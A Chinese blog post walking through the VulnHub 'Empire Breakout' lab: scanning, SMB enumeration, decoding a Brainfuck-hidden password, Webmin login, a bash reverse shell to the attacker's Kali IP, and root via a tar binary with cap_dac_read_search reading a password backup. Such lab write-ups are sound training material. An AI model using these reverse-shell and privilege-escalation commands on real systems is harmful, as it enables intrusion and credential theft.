靶机渗透练习42-Empire Breakout

靶机描述

靶机地址:https://www.vulnhub.com/entry/empire-breakout,751/

Description

Difficulty: Easy

This box was created to be an Easy box, but it can be Medium if you get lost.

For hints discord Server ( https://discord.gg/7asvAhCEhe )

一、搭建靶机环境

攻击机Kali

IP地址:192.168.184.128

靶机

IP地址:192.168.184.145

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220106110418003

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220106110627602

2.1.3 尝试访问靶机网页

image-20220106110701336

2.1.4 目录扫描

☁  kali  dirb http://192.168.184.145/

没啥特别的目录

查看nmap扫出的端口相关URL

image-20220106111039093

image-20220106111059366

image-20220106112925918

image-20220106112911987

2.2枚举漏洞

139-445 端口分析

文件共享服务可以使用 enum4linux 枚举信息

image-20220106111736599

image-20220106111409997

得到用户名:cyber

80 端口分析

访问 80 端口,页面看不出啥,查看一下源代码

image-20220106112201848

<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.


-->

image-20220106112658061

测试可以发现编码类型为:Brainfuck
解密:https://www.dcode.fr/brainfuck-language

image-20220106112803350

用户名:cyber 密码: .2uqPEfj3D<P'a-3
尝试登陆 webadmin

10000 端口没成功,20000 端口成功登陆

image-20220106113040522

2.3漏洞利用

2.3.1 在 webadmin 后台 getshell

登陆 webadmin 后台,在网页上打开控制台

image-20220106113156118

image-20220106113243217

2.4权限提升

2.4.1 寻找 suid 权限程序提权

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

[cyber@breakout ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

[cyber@breakout ~]$

没有发现(在 https://gtfobins.github.io/对比)

2.4.2 寻找 Capabilities(功能)程序

在用户目录下查看文件可以发现一个二进制文件 tar

image-20220106113518696

在 CTF 中每当看到二进制文件的副本时

都应该检查一下其 Capabilities(功能)和 suid 程序。

查询当前目录下 tar 文件的功能:getcap tar

[cyber@breakout ~]$ getcap tar
tar cap_dac_read_search=ep

还可以加参数-r 递归查询: getcap -r / 2>/dev/null

[cyber@breakout ~]$ getcap -r / 2>/dev/null
/home/cyber/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep

发现有两个文件

/home/cyber/tar cap_dac_read_search=ep;cap_dac_read_search 功能允许读取任何文件
/usr/bin/ping cap_net_raw=ep

可以尝试查找一些敏感文件,使用 tar 读取

2.4.3 信息收集获取 root 密码

使用以下命令查询有 pass 关键字的文件

find / -name '*pass*' 2</dev/null

image-20220106113933081

image-20220106114027448

image-20220106114340753

可以发现有一个备份文件是 root 用户以及组的,尝试使用 tar 压缩。

./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak

image-20220106114459628

获取密码:Ts&4&YurgtRX(=~h
在控制台尝试切换 root 用户,结果来不及输入密码就认证失败

2.4.4 利用 webadmin 后台反弹 shell 提权

在 kali 中开启监听:nc -lvp 6666

image-20220106114740856

在 webadmin 后台,执行以下命令
bash -c 'bash -i >& /dev/tcp/192.168.184.128/6666 0>&1'

image-20220106114825423

切换 root 用户,输入密码

image-20220106114956893

使用 python 切换 bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20220106115140289

总结

本靶机首先通过文件共享服务可以使用 enum4linux 枚举信息,在通过主页面进行信息收集,得到相关信息,登录后台getshelll,最后Capabilities(功能)程序提权

  1. 使用 enum4linux 枚举信息
  2. Brainfuck解密
  3. webadmin 后台反弹 shell 提权
  4. Capabilities(功能)程序提权
posted @ 2022-04-04 00:13  hirak0  阅读(91)  评论(0编辑  收藏  举报